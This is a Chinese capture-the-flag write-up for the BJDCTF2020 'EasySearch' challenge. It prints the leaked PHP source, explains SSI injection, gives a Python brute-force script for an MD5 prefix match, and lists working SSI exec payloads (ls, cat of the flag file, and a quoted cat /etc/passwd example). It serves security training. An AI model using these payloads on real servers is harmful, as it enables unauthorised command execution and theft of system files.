[BJDCTF2020]EasySearch

考查点:源码泄露index.php.swp,SSI注入漏洞,md5值相等的字符串寻找

目录

解题过程

代码审计

了解一下SSI注入漏洞

找到符合条件的字符串

拿取flag

推荐文章


解题过程

打开题目

当时的第一反应觉得是sql注入,后来发现不是,而是源码泄露

index.php.swp,得到源码

<?php
	ob_start();
	function get_hash(){    //构造一个字符串
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {//首先需要满足这个md5值前6位相等的值,可以使用py脚本多线程跑一下
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";    //创建一个后缀名为shtml的文件,看到这里就应该想到了SSI注入漏洞
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);   //将$text中的值写入#shtml中,这就是SSI注入漏洞利用点
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

代码审计

get_hash()是个自定义函数,用来得到一个字符串,用作文件的名字。主函数是这样的:我们传入的$password的md5值需要满足前6个字符是6d0bc1,然后会得到一个字符串(暂定为s),会建立s.shtml文件,$text中含有我们传入的$username,并且会将$text的值写入s.shtml中,而这会导致SSI注入漏洞。

了解一下SSI注入漏洞

下面是引用的部分段落,原文章:SSI注入漏洞

SSI是英文Server Side Includes的缩写,翻译成中文就是服务器端包含的意思。从技术角度上说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针。SSI具有强大的功能,只要使用一条简单的SSI命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。SSI可以称得上是那些资金短缺、时间紧张、工作量大的网站开发人员的最佳帮手。

(Server-side Includes)服务器端包含提供了一种对现有HTML文档增加动态内容的方法。apache和iis都可以通过配置支持SSI(默认Apache不开启SSI,SSI这种技术已经比较少用了),在网页内容被返回给用户之前,服务器会执行网页内容中的SSI标签。在很多场景中,用户输入的内容可以显示在页面中,比如一个存在反射XSS漏洞的页面,如果输入的payload不是xss代码而是ssi的标签,服务器又开启了ssi支持的话就会存在SSI漏洞。

直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

1

2

3

4

5

1、<!–#exec cmd="文件名称"–>

<!--#exec cmd="cat /etc/passwd"-->

 

2、<!–#exec cgi="文件名称"–>

<!--#exec cgi="/cgi-bin/access_log.cgi"–>

找到符合条件的字符串

借一下大佬的exp,原文章:CTF-web 第一部分 MD5

import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=6d0bc1

def md5(s):  # 计算MD5字符串
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()


keymd5 = '6d0bc1'   #已知的md5截断值
md5start = 0   # 设置题目已知的截断位置
md5length = 6

def findmd5(sss):    # 输入范围 里面会进行md5测试
    key = sss.split(':')
    start = int(key[0])   # 开始位置
    end = int(key[1])    # 结束位置
    result = 0
    for i in range(start, end):
        # print(md5(i)[md5start:md5length])
        if md5(i)[0:6] == keymd5:            # 拿到加密字符串
            result = i
            print(result)    # 打印
            break


list=[]  # 参数列表
for i in range(10):   # 多线程的数字列表 开始与结尾
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool()    # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()

得到部分结果

51302775
2020666

拿取flag

1. 选取一个,然后传入相应的值,注意标注红线的地方

username=<!--#exec cmd="ls"-->&password=2020666

执行ls,查看目录,然后结果会显示在右边的public/s.shtml中,(s为代称),然后查看Url_is_here中的文件,回显是目录文件

2. 但是当前文件夹中没有flag文件,所以继续查看别的文件夹'ls ../'

username=<!--#exec cmd="ls ../"-->&password=2020666

继续查看public/s.shtml文件,可以发现flag文件

3. cat命令拿到flag

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

查看public/s.shtml文件,得到flag


推荐文章

1. php fopen()函数

2. SSI注入漏洞

3. CTF-web 第一部分 MD5


版权声明:本文为RABCDXB原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。